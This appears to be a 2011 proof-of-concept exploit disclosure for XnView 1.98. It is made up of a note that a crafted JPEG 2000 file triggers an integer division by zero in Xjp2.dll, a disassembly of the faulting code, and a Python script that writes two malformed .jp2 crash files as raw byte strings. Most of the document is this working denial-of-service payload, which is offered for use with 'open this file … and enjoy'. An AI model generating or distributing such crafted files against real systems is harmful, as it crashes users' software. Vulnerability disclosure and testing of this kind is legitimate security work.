XnView 1.98 - Denial of Service Vulnerability PoC



# done by BraniX

# found: 2011.06.19
# published: 2011.06.20
# tested on: Windows XP SP3 Home Edition
# tested on: Windows XP SP3 Professional

# App: XnView 1.98 (latest version)
# App Url: http://www.xnview.com
# xnview.exe    MD5: ebe200d81a095d296e94e887dc40e607
# Xjp2.dll      MD5: 0c831c090f5a723d44bb641b175ca0e6

# DoS is caused by integer division by zero in module Xjp2.dll

# It can be triggered from:
# Local: C:\XnView 1.98 JP2000 (Compression 50%) DoS.jp2
# Remote: \\MySecretServer\XnView 1.98 JP2000 (Compression 50%) DoS.jp2

# 1000D1C4    8A44BA 03       MOV AL,BYTE PTR DS:[EDX+EDI*4+3]
# 1000D1C8    8941 E4         MOV DWORD PTR DS:[ECX-1C],EAX
# 1000D1CB    8B56 0C         MOV EDX,DWORD PTR DS:[ESI+C]
# 1000D1CE    8D4413 FF       LEA EAX,DWORD PTR DS:[EBX+EDX-1]
# 1000D1D2    33D2            XOR EDX,EDX
# 1000D1D4    F7F3            DIV EBX                                  ; div by zero
# 1000D1D6    33D2            XOR EDX,EDX
# 1000D1D8    8BE8            MOV EBP,EAX
# 1000D1DA    8B46 04         MOV EAX,DWORD PTR DS:[ESI+4]
# 1000D1DD    8D4403 FF       LEA EAX,DWORD PTR DS:[EBX+EAX-1]
# 1000D1E1    F7F3            DIV EBX
# 1000D1E3    8B59 E4         MOV EBX,DWORD PTR DS:[ECX-1C]

filepath = "C:\\XnView 1.98 JP2000 (Compression 50%) DoS.jp2"
f = open(filepath, "wb")
poc = '\x00\x00\x00\x0C\x6A\x50\x20\x20\x0D\x0A\x87\x0A\x00\x00\x00\x14\x66\x74\x79\x70\x6A\x70\x32\x20\x00\x00\x00\x00\x6A\x70\x32\x20\x00\x00\x00\x2D\x6A\x70\x32\x68\x00\x00\x00\x16\x69\x68\x64\x72\x00\x00\x00\x0D\x00\x00\x00\x0B\x00\x03\x07\x07\x00\x00\x00\x00\x00\x0F\x63\x6F\x6C\x72\x01\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x6A\x70\x32\x63\xFF\x4F\xFF\x51\x00\x2F\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x07\x00\x00\x07\x01\x01\x07\x01\x01\xFF\x5C\x00\x17\x42\x60\xC8\x42\x5D\x42\x5D\x42\x6D\x3A\xDB\x3A\xDB\x3B\x35\x32\xB8\x32\xB8\x32\x6B\xFF\x5D\x00\x18\x01\x42\x60\x6D\x41\xF2\x41\xF2\x42\x01\x3A\x6B\x3A\x6B\x3A\xC1\x32\x49\x32\x49\x31\xFF\xFF\x5D\x00\x18\x02\x42\x61\xAA\x43\x69\x43\x69\x43\x7A\x3B\xF3\x3B\xF3\x3C\x56\x33\xCC\x33\xCC\x33\x78\xFF\x52\x00\x0C\x00\x00\x00\x01\x01\x03\x04\x04\x00\x00\xFF\x64\x00\x0F\x00\x01\x4C\x57\x46\x5F\x4A\x50\x32\x5F\x32\x30\x37\xFF\x90\x00\x0A\x00\x00\x00\x00\x00\xA7\x00\x01\xFF\x93\xC7\xEC\x0C\x08\x8A\xC1\xC5\xD6\x54\xC0\x7D\x40\xA0\x0B\xBF\x3B\x6F\xDF\xC1\xF8\x02\x80\x03\x97\x3D\x32\x8B\xC0\xF8\x42\x87\xCE\x12\x07\xC2\x10\x01\x7F\x0C\x31\x03\x6B\x0B\xE3\xA0\x10\x80\x01\xC0\x74\x18\x1F\x08\x60\x04\x0C\x41\x6F\xC3\xE4\x13\x07\xC2\x34\x1F\x08\x80\x1C\xDD\xFD\x75\xB0\xA9\x74\x39\x3F\x0D\x31\x97\xD9\xD9\x7F\x0C\xAC\xCD\x9F\xC0\xE8\x60\x1F\x92\xE7\xC0\xE8\xB0\x3A\x1C\x04\x40\x1F\x1E\xA0\x20\x67\x12\x9A\x3F\x0C\xA7\xC3\xE1\x2A\x0E\x93\x07\x45\x61\x1C\x5E\xC3\xDD\xAC\x1B\xF5\x5B\xB9\x03\x8A\xAD\xF5\x07\x1F\x86\x1D\x5F\x19\xD8\x05\x13\xA3\xC0\x84\x5F\xC0\x8A\x04\x80\x01\x7F\x03\x9C\x46\xBF\xFF\xD9'
f.write(poc)
f.close()

print "Done, 1st file generated on 'C:\\' ..."
print "Open this file in XnView 1.98 and enjoy ;)"

filepath = "C:\\XnView 1.98 JP2000 (Lossless Compression) DoS.jp2"
f = open(filepath, "wb")
poc = '\x00\x00\x00\x0C\x6A\x50\x20\x20\x0D\x0A\x87\x0A\x00\x00\x00\x14\x66\x74\x79\x70\x6A\x70\x32\x20\x00\x00\x00\x00\x6A\x70\x32\x20\x00\x00\x00\x2D\x6A\x70\x32\x68\x00\x00\x00\x16\x69\x68\x64\x72\x00\x00\x00\x0D\x00\x00\x00\x0B\x00\x03\x07\x07\x00\x00\x00\x00\x00\x0F\x63\x6F\x6C\x72\x01\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x6A\x70\x32\x63\xFF\x4F\xFF\x51\x00\x2F\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x07\x01\x01\x00\x00\x01\x07\x01\x01\xFF\x5C\x00\x0D\x40\x40\x48\x48\x50\x48\x48\x50\x48\x48\x50\xFF\x52\x00\x0C\x00\x00\x00\x01\x01\x03\x04\x04\x00\x01\xFF\x64\x00\x0F\x00\x01\x4C\x57\x46\x5F\x4A\x50\x32\x5F\x32\x30\x37\xFF\x90\x00\x0A\x00\x00\x00\x00\x01\xD7\x00\x01\xFF\x93\xC7\xD4\x0A\x0B\xC7\x38\x51\x7F\xC3\xE7\x06\x05\x37\xD2\xC7\xD4\x0A\x03\x99\xA5\x4C\x37\xC1\xF3\x83\x8F\xB4\x16\x0F\xA8\x0C\x02\x3E\x7F\x0C\x36\xBB\x62\x2F\x0B\xCC\x17\xC0\x7C\x21\x40\x7C\x21\xC0\x7C\x80\x80\x04\x3F\x00\x8C\x5F\x08\x4B\xC1\xF3\x83\x87\xD4\x0B\x03\xE7\x06\x03\x86\x7F\x0C\x3F\x54\xA0\x7F\x08\xC3\x3F\xC7\xDA\x19\x0F\xA8\x26\x1F\x68\x50\x1D\x1C\x3D\xBB\xD4\xFC\x81\x39\x8F\xA6\x70\x69\x0D\x31\x7D\x53\xE7\xDB\x76\x1B\xBF\x0C\xAC\x1B\x93\x78\xD2\xF9\xD4\xA4\x4F\xC1\xF3\x8A\x81\xF2\x07\x80\xF9\x03\x80\x1C\x55\x34\xA2\x49\xD7\xFB\x27\x22\x0F\x01\xA7\xB1\x0A\x1F\x87\x4F\x04\x72\xC3\xEE\xE0\x5C\x7F\xC1\xF3\x8C\x87\xD4\x13\x07\xD4\x10\x11\x7B\xFC\x98\xB8\x1F\x71\x08\x68\xBE\x09\x3F\x0B\x4F\x2B\x89\x58\x56\x5E\xD9\xF3\x0C\xAC\x7A\x0E\x4B\x8C\xDA\x19\xC3\xEA\x1D\x87\xD4\x3D\x07\xD4\x30\x4F\x4D\xF3\xDD\x3B\x9E\x30\xC2\x67\xC8\xBE\x80\x42\x86\xA2\x9D\x6E\x6C\x29\x29\x2B\xDD\xF5\x71\x5E\xD4\x7D\xE4\x5F\x03\x8A\xAE\x0D\x74\xDA\xBA\xD1\x3F\xD2\x58\x2F\x8D\x45\x36\x7B\xF4\x45\xC1\x95\x14\xDB\x5D\x6E\x1C\x49\xC8\xC2\x72\xDF\x1E\xE9\x2F\x2C\xBC\xC7\xAA\x56\x9E\xA9\x73\xFD\xA7\xEB\xEB\x43\x78\x20\x08\x39\xEE\x07\xCE\x2B\xC1\xF3\x99\x83\xE7\x33\x03\xE7\x2E\x5F\xEC\x62\x95\x14\x7C\xE1\xB1\x36\x06\xEE\x8D\x1B\xB8\xD9\xFC\x4C\x12\x2D\x5F\xA2\xA1\x7C\x80\xFD\x3D\x57\x59\xB9\x1B\xCD\x48\x78\xB4\xC6\x7F\xC3\x73\x32\x8F\x6E\x38\x51\x45\xCD\xC7\xDA\xED\x54\x5B\x09\xC2\xC1\x85\xF6\x0B\x9C\xEF\x38\x79\x10\x72\x31\x80\x43\x0D\x75\x99\x95\x9C\xE6\x44\x7F\xC1\xF3\x9E\x87\xD4\x3D\x03\xE7\x2E\x11\x88\x13\x57\x4E\x51\x31\x2D\xBF\x76\xEC\x3E\x42\x3C\xF9\xA6\x5D\x7D\x96\x05\xF0\xA9\xA0\x9E\x69\x4C\xBF\x71\xA3\xBF\x03\x89\x78\x67\x57\xF0\xBB\xD2\x32\x12\x88\x9C\xD3\x41\xF6\x81\xED\x3E\x2E\x35\x62\xF1\x69\xDA\xC2\x71\x0F\xAB\x14\x1B\x16\x55\xAC\x51\x83\x1E\x48\x2E\x20\xC8\x39\x1A\x46\x12\xE1\x62\x07\x88\x8C\x43\x20\x1A\x1B\xFF\xD9'
f.write(poc)
f.close()

print "Done, 2nd file generated on 'C:\\' ..."
print "Open this file in XnView 1.98 and enjoy ;)"